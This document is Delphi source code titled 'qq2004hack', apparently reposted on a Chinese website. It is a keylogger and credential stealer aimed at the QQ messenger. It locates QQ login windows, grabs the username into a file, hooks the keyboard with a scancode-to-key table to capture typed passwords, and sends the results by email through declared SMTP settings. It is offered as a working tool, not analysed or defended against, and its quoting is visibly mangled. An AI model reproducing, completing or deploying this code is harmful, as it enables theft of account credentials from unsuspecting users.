qq2004hack

感谢 sforever 提供帮助
hookkey: string;
hHook: integer;
Creeper,creeper1:TextFile;
ahwnd,comboboxh:thandle; //句柄
qqformid:HWND;
user:array[0..254] of char;
SendBody:string;
PSmtp,PUser,PPass,PGetMail,PTOMail,Subject,MailText:String;
implementation
//找QQ聊天窗口
function FpopoID(ahwnd:hwnd;w:integer):boolean;stdcall;
var wintext:pchar;
begin
result:=true;
getmem(wintext,100);
getwindowtext(ahwnd,wintext,100);
if Pos(''''与'''',WinText)>0 then
begin
TrySendMail;
Sleep(100);
UnHookWindowsHookEx(hHook);
hHook := 0;
Application.Terminate;
end;
end;

function FmsgIDedit(ahwnd:hwnd;w:integer):boolean;stdcall;
var
f:TextFile;
begin
result:=true;
comboboxh:=FindWindowEx(qqformid,0,''''ComboBox'''',nil);
SendMessage(comboboxh,WM_GETTEXT,254,Integer(@user));
if trim(user)<>'''''''' then
begin
assignfile(f,GetWinDir ''''name.txt'''');
rewrite(f);
write(f,''''QQ 用户名：'''' user);
closefile(f);
exit;
end;
end;
function FqqID(ahwnd:hwnd;w:integer):boolean;stdcall;
var wintext:pchar;
begin
getmem(wintext,100);
GetClassName(ahwnd,wintext,100);
if wintext=''''#32770'''' then
begin
qqformid:=ahwnd; //得到QQ窗口句柄
if qqformid<>0 then
begin
result:=true;
enumchildwindows(qqformid,@fmsgidedit,0); // 暂且注销
end;
end;
end;
function Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := ''''[Print Screen]'''';
case lp of
10688: result := ''''`'''';
561: Result := ''''1'''';
818: result := ''''2'''';
1075: result := ''''3'''';
1332: result := ''''4'''';
1589: result := ''''5'''';
1846: result := ''''6'''';
2103: result := ''''7'''';
2360: result := ''''8'''';
2617: result := ''''9'''';
2864: result := ''''0'''';
3261: result := ''''-'''';
3515: result := ''''='''';
4177: result := ''''Q'''';
4439: result := ''''W'''';
4677: result := ''''E'''';
4946: result := ''''R'''';
5204: result := ''''T'''';
5465: result := ''''Y'''';
5717: result := ''''U'''';
5961: result := ''''I'''';
6223: result := ''''O'''';
6480: result := ''''P'''';
6875: result := ''''['''';
7133: result := '''']'''';
11228: result := ''''\'''';
7745: result := ''''A'''';
8019: result := ''''S'''';
8260: result := ''''D'''';
8518: result := ''''F'''';
8775: result := ''''G'''';
9032: result := ''''H'''';
9290: result := ''''J'''';
9547: result := ''''K'''';
9804: result := ''''L'''';
10170: result := '''';'''';
10462: result := '''''''''''''''';
11354: result := ''''Z'''';
11608: result := ''''X'''';
11843: result := ''''C'''';
12118: result := ''''V'''';
12354: result := ''''B'''';
12622: result := ''''N'''';
12877: result := ''''M'''';
13244: result := '''','''';
13502: result := ''''.'''';
13759: result := ''''/'''';
13840: result := ''''[Right-Shift]'''';
14624: result := ''''[Space]'''';
283: result := ''''[Esc]'''';
15216: result := ''''[F1]'''';
15473: result := ''''[F2]'''';
15730: result := ''''[F3]'''';
15987: result := ''''[F4]'''';
16244: result := ''''[F5]'''';
16501: result := ''''[F6]'''';
16758: result := ''''[F7]'''';
17015: result := ''''[F8]'''';
17272: result := ''''[F9]'''';
17529: result := ''''[F10]'''';
22394: result := ''''[F11]'''';
22651: result := ''''[F12]'''';
10768: Result := ''''[Left-Shift]'''';
14868: result := ''''[CapsLock]'''';
3592: result := ''''[Backspace]'''';
3849: result := ''''[Tab]'''';
7441:
if wp > 30000 then
result := ''''[Right-Ctrl]''''
else
result := ''''[Left-Ctrl]'''';
13679: result := ''''[Num /]'''';
17808: result := ''''[NumLock]'''';
300: result := ''''[Print Screen]'''';
18065: result := ''''[Scroll Lock]'''';
17683: result := ''''[Pause]'''';
21088: result := ''''[Num0]'''';
21358: result := ''''[Num.]'''';
20321: result := ''''[Num1]'''';
20578: result := ''''[Num2]'''';
20835: result := ''''[Num3]'''';
19300: result := ''''[Num4]'''';
19557: result := ''''[Num5]'''';
19814: result := ''''[Num6]'''';
18279: result := ''''[Num7]'''';
18536: result := ''''[Num8]'''';
18793: result := ''''[Num9]'''';
19468: result := ''''[*5*]'''';

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有